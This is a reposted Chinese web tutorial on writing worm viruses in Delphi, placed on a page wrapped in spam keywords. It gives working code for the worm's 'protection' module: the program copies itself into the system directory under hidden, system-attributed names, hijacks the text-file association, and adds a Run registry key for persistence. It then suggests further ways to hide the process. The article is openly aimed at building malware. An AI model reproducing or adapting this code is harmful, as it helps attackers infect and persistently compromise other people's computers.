成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

用Delphi來編寫蠕蟲病毒淺析

2010-08-28 10:49:44來源:西部e網作者:

    可能大家想到病毒,第一反應就是可能是用asm來編寫,或者是vbsript,而高級語言如delphi就好象不能編寫一樣,其實事實并不是這個樣子的,只要我們花一些時間,照樣可以寫出簡短而高效的病毒程序來,一點也不輸那些用匯編寫出來的程序哦。

  前言

  可能大家想到病毒,第一反應就是可能是用asm來編寫,或者是vbsript,而高級語言如delphi就好象不能編寫一樣,其實事實并不是這個樣子的,只要我們花一些時間,照樣可以寫出簡短而高效的病毒程序來,一點也不輸那些用匯編寫出來的程序哦。

  一個病毒程序首先要短小,我們的目標是經過壓縮后控制在30k以下。用過delphi的朋友都知道,如果在uses里面加入forms,classes.....等就會使目標文件非常的大,所以,在我們的程序里,我們要盡可能的不用這些庫。我們只用windows,winsock,shellapi,sysutils(這個里面包含了一些常用的函數,比如對文件的操作,對字符串的操作,如果用自己的程序來代替,目標文件會更加的小)

  首先,我們知道,一個病毒程序一般都分下面三個模塊:

  ①保護模塊;

  ②感染模塊;

  ③發作模塊。

  下面我們就從這三個模塊開始,分別實現他們的代碼。

  一)保護模塊。

  一般,我們都是把自身拷貝到系統的一些目錄里,比如%systemroot%。那么,我們首先要取得這些特定的目錄的路徑sdk里面給我們提供了一個這樣的函數GetSystemDirectory :

UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的緩沖區
UINT uSize // 上面的緩沖去的長度
);

  相關的函數還有GetWindowsDirectory可以得到%windows%的路徑

  得到了系統的目錄后,第二步就是拷貝文件了。sdk為我們提供了一個函數copyfile :

BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路徑
LPCTSTR lpNewFileName, // 目標文件的路徑
BOOL bFailIfExists // 這是一個標志,如果目標文件已經存在,是否強制覆蓋
);

  拷貝文件完畢后,我們來把這個文件設置為系統和隱藏,那么一般情況是看不見該文件的,除非選取查看所有文件,以及顯示受保護文件。 同樣,介紹一個函數SetFileAttributes :

BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要設置的文件的文件名
DWORD dwFileAttributes // 設置的值。
);

  我們這里要設置為隱藏和系統,那么就為第二個參數傳遞FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM

  下面就是最重要的,讓該文件開機自動運行,我們一般都是寫注冊表,首先用RegOpenKey函數來打開一個鍵。

 
LONG RegOpenKey(
HKEY hKey, // 主鍵,比如HKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // 跟隨的subkey
PHKEY phkResult // 存放函數返回這個打開的鍵的句柄
);

  得到了HKEY后,就可以用regsetvalueex來向該鍵寫具體的值了。

LONG RegSetvalueEx(
HKEY hKey, // 這個就是剛才我們得到的句柄
LPCTSTR lpvalueName, // 鍵名的地址
DWORD Reserved, // 一般設置為0
DWORD dwType, // 我們寫的鍵的類型,字符串為REG_SZ
CONST BYTE *lpData, // 鍵值的地址
DWORD cbData // 寫入的鍵值的長度
);

  下面,我綜合上面的說明來給出一個簡短的例子:

procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系統的路徑
s:=strpas(Path);
//轉換成字符串
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false);
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false);
//把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk);
value:=‘virus_ruin.exe %1‘;
RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件關聯
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk);
value:=‘ruin.exe‘;
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8);
//設置開機自動運行ruin.exe
end;

  我們看上面的這個程序,就完成了自我復制,和開機自動運行,并且關聯了文本文件,這樣,如果run下的鍵被刪除,那么他打開文本文件,蠕蟲文件又被激活。

  不過這個樣子,你就需要在你的主程序里面進行判斷,如果傳遞的參數等于1 ,則打開該文本,并且進行自我保護。

  如:

begin
if paramcount=1 then
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal);
//其他的代碼

  這里,我只是給出一個簡單的例子來描述出一個大概的思路,很多地方還不完善,比如進程的隱藏,你可以進行判斷,如果是98你可以registerserverapplication如果你是用的2000,你可以做為服務啟動,或者是插入dll,或者是用求職信的方法,開機加載一個dll,或者是win.ini。

關鍵詞:Delphi蠕蟲病毒

贊助商鏈接:

主站蜘蛛池模板: 宽甸| 冕宁县| 济源市| 怀集县| 孝感市| 沈阳市| 黔西| 淮滨县| 西乌珠穆沁旗| 论坛| 越西县| 永顺县| 邵阳市| 香河县| 高清| 洪江市| 阳新县| 井研县| 盈江县| 鄄城县| 宁远县| 大姚县| 张家港市| 固原市| 郓城县| 万州区| 富民县| 新民市| 河津市| 芜湖市| 普陀区| 柞水县| 广汉市| 永平县| 鹤壁市| 库车县| 海口市| 宜昌市| 广宗县| 北流市| 彭水|